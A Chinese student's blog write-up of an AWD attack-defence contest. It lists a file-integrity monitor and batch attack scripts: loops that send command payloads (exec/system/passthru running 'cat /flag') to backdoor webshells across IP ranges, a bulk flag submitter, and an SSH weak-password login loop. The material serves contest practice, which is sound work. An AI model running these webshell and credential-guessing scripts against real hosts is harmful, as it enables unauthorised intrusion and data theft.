第六周 线下AWD总结
上周跟着工作室的大佬们去沈阳参加了第三届辽宁省网络安全技能大赛,非常幸运进了线下比赛。
线下比赛的赛制是AWD(网络攻防),以前一直打ctf,偶尔听学长说过,但重来没有了解过。这次真的是恶补了一下,基本上每天都是通宵,但也只是大概对比赛有了一个比较清晰的概念,一切都还得等到比赛时才知晓怎样。果然,不才,只拿了一个华为手表(老师们非常不满意这个成绩啊)。
所以想着写一下总结,记录一下,查漏补缺。供下次比赛复习用。
1.工具
首先是一些工具。脚本,waf,啥的。
这次比赛我负责的是攻击,另一位大佬负责防守,另外一些脚本在他手里,时间匆促,分完工后我也没去学过他那边的。
AoiAWD(脚本已编译好)
上一届学长给了我一个安全响应系统AoiAWD,如果打比赛的时候部署上的话,防御应该非常简单了。可是这次用户给的权限实在太低了,连执行权限chmod +x 都没用。当时第一次部署时问师傅问的快没信心了,不过还是记录一下具体的使用方法,免的年久忘事。
首先启环境,先进入 AoiAWD/AoiAWD/ 里运行 aoiawd.phar
运行成功后会回显token,端口号,然后本机访问
输入token访问之
然后是网络配置,我是在虚拟机里搭建的环境,所以得配置端口映射才能靶机访问到。
这里有两个网卡:网络 nat+自定义。自定义可以不用管
,但必须有一个nat模式。
进入虚拟网络配置器,更改设置,
此时就能在物理机上访问了。
其次是这四个脚本探针(我已生成),每个探针对应不同的功能,放到比赛的靶机里网站根目录下用 ./ 执行。
这里提示命令失败了可能是权限不够,用chmod +x
赋予文件可执行权限(这次比赛连chmod+x都没给,也导致了当时没有搭上)。
启动(-s后面接容器网址)
D盾,Seay,Xshell
xshll连接服务器
用于代码审计,先用D盾扫出比较明显的漏洞,然后用Seay审计。
一些批量自动脚本
监控本地文件
python(2) +文件名.py
# -*- coding: utf-8 -*-
# 文件监控
import os
import hashlib
import shutil
import ntpath
import time
CWD = os.getcwd() # 返回当前进程工作目录
FILE_MD5_DICT = {} # 文件MD5字典
ORIGIN_FILE_LIST = []
# 特殊文件路径字符串
Special_path_str = 'drops_A1F2GI'
bakstring = 'bak_KO4DF8'
logstring = 'log_JF239S'
webshellstring = 'webshell_89DFG2'
difffile = 'diff_UE23SN'
Special_string = 'file_n0t_kill' # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"
# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
'bak': os.path.realpath(os.path.join(spec_base_path, bakstring)),
'log': os.path.realpath(os.path.join(spec_base_path, logstring)),
'webshell': os.path.realpath(os.path.join(spec_base_path, webshellstring)),
'difffile': os.path.realpath(os.path.join(spec_base_path, difffile)),
}
def isListLike(value):
return isinstance(value, (list, tuple, set))
# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):
if noneToNull and value is None:
return None
if isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value
if isinstance(value, unicode):
return value
elif isinstance(value, basestring):
while True:
try:
return unicode(value, encoding or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
try:
return unicode(value, UNICODE_ENCODING)
except:
value = value[:ex.start] + "".join(
INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
else:
try:
return unicode(value)
except UnicodeDecodeError:
return unicode(str(value), errors="ignore")
# 目录创建
def mkdir_p(path):
import errno
try:
os.makedirs(path)
except OSError as exc:
if exc.errno == errno.EEXIST and os.path.isdir(path):
pass
else:
raise
# 获取当前所有文件路径
def getfilelist(cwd):
filelist = []
for root, subdirs, files in os.walk(cwd): # 目录遍历器
for filepath in files:
originalfile = os.path.join(root, filepath)
if Special_path_str not in originalfile:
filelist.append(originalfile)
return filelist
# 计算机文件MD5值
def calcMD5(filepath):
try:
with open(filepath, 'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
return hash
except Exception, e:
print u'[!] getmd5_error : ' + getUnicode(filepath)
print getUnicode(e)
try:
ORIGIN_FILE_LIST.remove(filepath)
FILE_MD5_DICT.pop(filepath, None)
except KeyError, e:
pass
# 获取所有文件MD5
def getfilemd5dict(filelist=[]):
filemd5dict = {}
for ori_file in filelist:
if Special_path_str not in ori_file:
md5 = calcMD5(os.path.realpath(ori_file))
if md5:
filemd5dict[ori_file] = md5
return filemd5dict
# 备份所有文件
def backup_file(filelist=[]):
# if len(os.listdir(Special_path['bak'])) == 0:
for filepath in filelist:
if Special_path_str not in filepath:
shutil.copy2(filepath, Special_path['bak'])
if __name__ == '__main__':
print u'---------start------------'
for value in Special_path:
mkdir_p(Special_path[value])
# 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
print u'[*] pre work end!'
while True:
file_list = getfilelist(CWD)
# 移除新上传文件
diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST)) # 从file_list中去掉原有文件
if len(diff_file_list) != 0:
for filepath in diff_file_list:
try:
f = open(filepath, 'r').read()
except Exception, e:
break
if Special_string in f:
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
print u'[*] Special_file had be change : ' + getUnicode(filepath)
if Special_string not in f:
try:
print u'[*] webshell find : ' + getUnicode(filepath)
shutil.move(filepath,
os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.' % getUnicode(filepath)
try:
# 写入日志
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : file move error: ' + getUnicode(e)
# 防止任意文件被修改,还原被修改文件
md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
for filekey in md5_dict:
if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
try:
f = open(filekey, 'r').read()
except Exception, e:
break
if Special_string in f:
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
print u'[*] Special_file had be change : ' + getUnicode(filekey)
if Special_string not in f:
try:
print u'[*] file had be change : ' + getUnicode(filekey)
shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.' % getUnicode(filekey)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : done_diff: ' + getUnicode(filekey)
pass
time.sleep(2)
生成ip列表,读取flag
用于查找未知靶机
# -*- coding: utf-8 -*-
# 生成ip列表
import re
ip_input = '49.234.62.198:8801-8812'
try:
num = str(re.findall(r'[0-9]+-[0-9]+', ip_input)[0])
f = open('ips_1.txt', 'w')
for i in range(int(num.split('-')[0]), int(num.split('-')[1]) + 1):
ip = str(ip_input).replace(num, str(i)) + '\n'
print(ip, end='')
f.write(ip)
f.close()
except:
print('Write Failed')
exit()
用上面的ip列表连接已知后门进行读取flag
# -*- coding: utf-8 -*-
import requests
import time
way = '/footer.php'
data = {'shell': "cat /flag"}
flag_file = 'flag_1.txt' # 将结果写入flag_1.txt
ips_file = 'ips_1.txt' # 读取的IP列表
res = []
def exp_post(file, way):
try:
count = 0
success = 0
f = open(file)
line = f.readline().splitlines()
except:
print(file + ' Read Failed')
while line:
url = 'http://' + line[0] + way
try:
req = requests.post(url=url, data=data, timeout=3)
flag = str(req.text.encode('raw_unicode_escape'))
print({'ip': line, 'flag': flag})
res.append({'ip': line, 'flag': flag})
line = f.readline().splitlines()
count += 1
success += 1
except:
res.append({'ip': line, 'flag': None})
print({'ip': line, 'flag': None})
line = f.readline().splitlines()
count += 1
continue
print('Total: ' + str(count) + '\tSuccessed: ' + str(success) + '\tFailed: ' + str(count-success))
def write_flags():
try:
f = open(flag_file, 'w')
for i in res:
f.write(str(i) + '\n')
f.close()
except:
print('Flag Write Failed')
if __name__ == '__main__':
while True:
print('*' * 30)
print(time.asctime(time.localtime(time.time())))
exp_post(ips_file, way)
write_flags()
time.sleep(60 * 2)
和上个脚本类似,payload更多。
# -*- coding: utf-8 -*-
#
import requests
import time
import re
ips_file = 'ips_1.txt' # 读取的IP列表
way = '/config.php' # 后门路径
payloads = [ # 后门密码和路径
{"c": "exec('cat /flag',$out);print_r($out);die();"},
{"c": "system('cat /flag',$out);print_r($out);die();"},
{"c": "passthru('cat /flag',$out);print_r($out);die();"},
{"c": "shell_exec('cat /flag',$out);print_r($out);die();"},
]
flag_file = 'flag_1.txt'
res = [] # 返回成功结果
def exp_post(file, way):
try:
count = 0
success = 0
f = open(file)
line = f.readline().splitlines()
except:
print(file + ' Read Failed')
while line:
url = 'http://' + line[0] + way
try:
for payload in payloads:
req = requests.post(url=url, data=payload, timeout=3)
flag = str(re.findall(r'\[0\] \=\> .+\\n', str(req.text.encode('raw_unicode_escape')))[0])[7:-5]
# flag = str(req.text.encode('raw_unicode_escape'))
print({'ip': line, 'flag': flag})
res.append({'ip': line, 'flag': flag})
line = f.readline().splitlines()
count += 1
success += 1
break
except:
res.append({'ip': line, 'flag': None})
print({'ip': line, 'flag': None})
line = f.readline().splitlines()
count += 1
continue
def write_flags():
try:
f = open(flag_file, 'w')
for i in res:
f.write(str(i) + '\n')
f.close()
except:
print('Flag Write Failed')
if __name__ == '__main__':
while True:
print('*' * 30)
print(time.asctime(time.localtime(time.time())))
exp_post(ips_file, way)
write_flags()
time.sleep(60 * 2)
批量提交flag
# -*- coding: utf-8 -*-
import requests
import re
url = "https://172.20.1.1/Common/awd_sub_answer"
flags_file = 'flag_1.txt'
key_word = ''
def read_flags():
# 读取Flag
try:
with open(flags_file, 'r') as f:
lines = f.read().splitlines()
f.close()
return lines
except:
print('Flag Read Failed')
exit()
def post_data(flags):
# 提交flag
success = 0
for i in flags:
data = {'ip': eval(i)['ip'], 'flag': eval(i)['flag']}
try:
req = requests.post(url=url, data=data, timeout=3)
status = req.status_code
re.findall(key_word, req.text)
success += 1
print('Submit Successed ', data['ip'])
except :
print('Failed IP : ', data['ip'])
continue
print('Total: ' + str(len(flags)) + '\tSuccessed: ' + str(success) + '\tFailed: ' + str(len(flags)-success))
if __name__ == '__main__':
flags = read_flags()
post_data(flags)
批量连接ssh(python2,可用于爆破弱密码)
import paramiko
for i in range(1,10):
ip = '172.16.10'+str(i)+'.200' # ip地址
port = '22' # 端口
username = 'ubuntu' # 用户名
passwd = 'venus' # 密码
print(ip)
# ssh 用户名 密码 登陆
def ssh_base_pwd(ip, port, username, passwd, cmd='cat flag'): # 命令
port = int(port)
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname=ip, port=port, username=username, password=passwd)
stdin, stdout, stderr = ssh.exec_command(cmd)
result = stdout.read()
if not result:
print("无结果!")
result = stderr.read()
ssh.close()
return result.decode()
try:
a = ssh_base_pwd(ip, port, username, passwd)
print(a)
except:
pass
批量连接flag
比如连接ssh,获取flag,提交flag等
2.注意事项
root权限,数据库
运气好的话,可以用弱密码把密码试出来,这次的比赛数据库的密码就是password但是当时旷了,没有试,然后被别的队拿到了权限清空了数据库。赛后我的另一位队友突然想起来php连数据库会把密码写在配置文件里了,淦,傻逼了,第一次打比赛出现这种低级失误。
靶机
这次有两个靶机,一个pwn,一个web,结果我们就维护了web题而没有看到pwn里面居然还有web…导致全程被别人打,所以以后得细心点了。
3.总结
还记得学长比赛前给我说过的一句话:“赛场上不要慌,要懂得随机应变”。
希望各位师傅以及我自己不管在是什么时候都牢记这句话。